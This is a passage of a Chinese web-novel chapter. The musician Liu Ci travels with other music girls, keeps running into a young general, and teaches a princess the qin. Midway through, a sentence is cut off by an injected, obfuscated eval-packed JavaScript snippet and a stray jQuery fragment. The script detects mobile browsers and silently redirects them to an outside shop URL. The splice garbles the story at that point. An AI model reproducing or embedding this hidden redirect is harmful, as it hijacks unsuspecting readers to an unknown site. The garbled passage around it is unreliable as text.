少女刷地放下车帘,恍如外头有猛兽。
“姑娘们,是到地方了。”车夫忙在外头解释着,“今日没有月光,路上太黑了,我冷得不行,又看不清路,只能暂且在这边休息,到天亮再启程。”
车夫下了马车,与酒肆那那边的人在解释着什么。
缓过来的姑娘此时抱着各自的琴低着头,谁也不敢第一个下车。
“我们,要在这黑黢黢的地方待一晚啊?”
闻言,一个胆大的姑娘也撩起车帘一角,偷偷打量着外头。
“不用害怕了,是拉练的军队。”
这话稳稳接住了大家浮动不安的心,纷纷系上面纱下了马车。
而柳瓷还在想怎么躲过那人,怎么刚躲过俩现在又来一个。
苦恼之际,霜霜已经把她扶出了马车。
靠近才发现,这酒肆周围竟支着数个帐篷。
车夫把乐姬们往酒肆左边一个帐篷引,那是刚才他与军队交谈,军队们腾出来的一个空帐篷。
好在,刚刚还坐在酒肆门口的少年,此刻已不见踪影。
几人互相靠睡着,帐篷里还留有暖火。
有军队的庇护,在这荒郊野外几人竟也安然睡下。
柳瓷留了个心眼,探着个脑袋露出帐外,外面是一片寒郁深黑,连一旁的酒肆也熄了火。
少女这才放心,挨着霜霜睡下。
天擦擦亮,朦蓝的天上还絮着几片薄薄的乌云。
寒晨温度低下,离开帐篷暖火的姑娘们都眯瞪着眼睛,哆哆嗦嗦地任凭车夫领着上马车。
柳瓷侧目,看向一旁,那些士兵们跟不怕冷似的,穿着单薄在一旁训练。
她提裙躬身进入马车,这里空间小,人又多,不一会儿身上就暖了起来。
马车刚赶起,鬼使神差地,少女又撩开那车帘。
清晨冰雾环绕,有些看不清。
数步之外人影朦胧,依稀辨得一人靠在酒肆,那朝向,好像是这边。
少年抱剑挨着墙,衣角沾着细密湿气,身形清隽疏野。
他眼若寒潭,正透过浓雾盯着那缓缓行驶的马车,他在目送那辆马车。
他知她会经过此处,故意走这条路线拉练。
雪柳书开坊却无宴伴,他寻去沈劲桐,旁敲侧击说着,“南然来的使团怎么样了。”
“都跟着回去了,留下一支乐团安顿在京城里,里头有一位,我在南然便听过她的曲,也算旧识了。”沈劲桐没察觉出不对,还自己把主题引了出来。
他漫不经心道,“哦?听闻有一位单开乐坊的,店肆萧条,不会就是你那旧识。”
当日沈劲桐把季成和承接烟火节要了去,托人送去宴帖。
季成和有几分茫然,平日任凭自己怎么求这人,他都不会帮自己处理几份公务,如今居然自己抢着做,自己还得寸进尺地又搭了几份公务,那沈劲桐竟也爽快答应,莫不是见邪了。
少年淡眸望不出情绪,似一潭深不见底的翠水,却又固执地盯着那行驶的马车。
冷雾偏巧被行驶的马车漾开,少年猝不及防与少女对视。
骤然松懈的眉头让他眼眸带了几分无辜,薄红的唇被他抿成长长一条,又不着痕迹偏了偏头。
少女猝然凝滞,恍若被这冰箭击中,浑身冰冷起来。
他好像,一直在盯着她们的马车。
看他板着脸,手里还拿着剑,不会是动了杀心吧。
幸好我们人多。
少女一阵后怕。
“小姐,你在看什么呀?”霜霜发现一旁的小姐看着窗外发呆,也要凑个脑袋过去。
少女收回手,挡在霜霜面前,做着手势。
「没事,我就是有点闷。」
霜霜见小姐手扶着脑袋,脸色看起来很不好,赶紧让姑娘把车帘都拉开。
“两边车帘都打开吧,坊主有些闷着了。”
柳瓷来不及制止,顺着车窗又往那个方向看去,却不再见人影。
*
本以为去了烟火节伴宴,就能多揽一些宴帖,实则那晚大家都盯着烟花,游着市摊,乐曲只作一个氛围背景。
柳瓷盯着柜台抽屉里那仅有的一张宴帖,叹了口气。
慢慢来吧,这才刚起头呢,柳瓷安慰着自己。
柳瓷收到沈劲桐的邀帖,邀请她一起去松风阁吃饭,似是怕柳瓷拒绝,又补充了句,清絮也在。
松风阁因煮茶沸水之声似松风而得名,坐落于城南繁华坊市,临街而建,听得车马往来、街市人声,阁内却自成清幽。
茶品上乘不说,酒菜更是一绝,吸引众多辞官文人,世家子弟赴门。
柳瓷早有耳闻这松风阁,一直很想见识见识,只是荷包有些扁塌,她也只好作罢。
如今被盛情邀请,她是很想去的,只可惜她有闲情,却无闲时。
她如今在去往公主府的路上。
已是第三次,事不过三,今日无论如何她都必须教公主弹出一首新曲。
这样想着,柳瓷不自觉加快了步伐。
时逢腊月,细碎飞雪落地,却很快消融。
路上是泞湿的,柳瓷快步走着,竟不受控地陡然往旁一滑,她下意识扶住那树干,这才定下来。
她轻拍着胸口,安抚着被吓到的自己。
她看向公主府门,今日竟无侍女侍卫当值?
她有些侥幸,还好这路上空无一人,无人看到她的窘迫。
只是这一滑,树枝刮到她发髻,抽出几缕发丝落下,这是她出门前,那些姑娘们特意为她梳的婉曲缠绕的灵蛇髻。
乐姬们平时登台演出的妆面都是由自己坊内的姑娘互相帮忙,久而久之大家也都练就一手妆画的本领。
她摸了摸头上的发髻,好在两只玉簪还是很坚强地固定在头上。
她仔细瞧着地面,小步前行着。
才进入公主府,可还未走到寝殿,她就瞥到庭院内走出一个墨色身影。
飞雪里,他步伐稳健,墨色披风被带动,悬在他身后。
怎么哪都能碰到他,公主府他都能来?
她下意识躲到一旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889090|212683||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
假山,揣揣不安地祈祷他不会发现自己。
徐野走到假山处,神色微凝,眼角斜睨着。
少女正对着假山面壁思过。
他早就看到了她,心里想尽话题想与她交谈,他想问问她的小乐坊怎么样了,自己请的那些公子哥起不起作用。
只是都被她慌慌张张躲藏的样子堵回嘴里。
他扫了一眼她被冷风吹得红红的脸,旁边还有几缕发丝在捣乱,她紧闭着双眼,像是不小心看到了什么脏东西。
他拧眉,自己有这么生厌?
他脚步没停,翻墙离开了公主府。
确定他离开后,柳瓷如释重负。
还好没被发现。
这家伙竟敢私闯公主府,这可是重罪!
可方才看他好像是从公主正殿出来的,莫不是……他与公主有私情?
不不不,不可能不可能。
柳瓷被自己心中的想法吓了一大跳。
可当她见到以往一碰琴就意兴阑珊的公主,今日却全程鲜眉亮眼地配合着自己,她心里的疑问更大了。
前两次爱耍性子,闹脾气的玉颜公主消失了。
剩下一个正乖乖抱着琴,按曲谱一字一音地慢弹着的清雅少女,仔细观察还能看到她眉眼间的愉悦。
哪怕是柳瓷反复纠正她同一个音,她也不恼,跟着柳瓷的指示反复拨弹,甚至喉咙还轻轻哼着那个音,看起来心情很好。
换做平时,被娇纵惯了的她肯定会把琴往桌上一甩,哭着要侍女喊许皇后过来。
这还真是奇了怪了,公主既没有躲在树上,也没有捣乱的猫来挠断琴弦,甚至她还主动问起下一次的回课。
今日的教学如此轻松,柳瓷满腹狐疑。
公主把整曲都完整拨弹了一遍,今日的学琴任务已完成,只待些许时日练习,打磨细节。
柳瓷离开时,一向目中无人的公主竟还安排侍女出门相送。
一切都太顺利了,顺利得好诡异。
少女蹙眉,心中那个想法又浮上心头。
在那个梦中,关于这小将军的事情寥寥无几,魏我也从不在自己面前提起这人。
她只知这小将军自小被魏相收入门下,与魏我同住一府,两人自然也成了友人。
魏相还将他举荐给那北林王,那时他仅仅十七岁。
再后来就是他打了胜仗凯旋的消息了,年仅十八,就一举歼灭敌营腹地,功烈昭昭,一身荣辉。
梦中他似乎还带兵出征过几次,没记错的话几日后他便要启程,是胜是败她不曾关注,也就不得而知了。
此次前来公主府,莫不是向公主告别?
少女捂住嘴巴,为这个惊人消息感到骇然。
“小姐,你不吃了吗?”
霜霜咀嚼着口中的饭,看到饭桌对面少女的动作,她有些不解,那玉颜公主对小姐做了什么,小姐回来后一直垂眸失神。
“小姐,吃完再想吧,这冬天菜凉得快。”
柳瓷回过神,眼睛弯了弯,又伸手摸摸那双髻女孩的头。